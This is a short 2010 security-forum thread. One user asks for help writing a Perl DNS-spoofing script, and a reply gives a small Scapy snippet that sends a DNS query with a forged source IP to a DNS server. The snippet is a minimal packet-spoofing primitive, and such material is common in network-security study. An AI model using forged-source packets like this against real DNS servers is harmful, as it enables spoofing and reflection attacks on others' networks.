Government Security
Network Security Resources

Jump to content

Photo

Dns-Spoofing Realized As The Perl Script

- - - - - dns perl spoofing
  • Please log in to reply
1 reply to this topic

#1 4tune

4tune

    Private

  • Members
  • 2 posts

Posted 09 March 2010 - 01:10 AM

Hello everyone) i've just registered here. I have to solve the problem about PERL script for realizing a DNS-Spoofing, my knowledge in this sphere is poor, that's why i ask you to help me



yours 4tune



#2 webdevil

webdevil

    Retired GSO General

  • Sergeant Major
  • 1,195 posts

Posted 09 March 2010 - 05:59 AM

Although I don't have one for perl.
But this little scapy script does the trick.

from scapy import *
import random
req = IP(dst='dns-server',src='spoofedip')/UDP(sport=random.randint(1025, 65000), dport=53)/DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,qd=DNSQR(qname="dns-query", qtype=1, qclass=1),an=0,ns=0,ar=0)
send(req)

If you don't understand the code, use wireshark to understand what's happening and you will be able to write one in perl. If that's a requirement.





Also tagged with one or more of these keywords: dns, perl, spoofing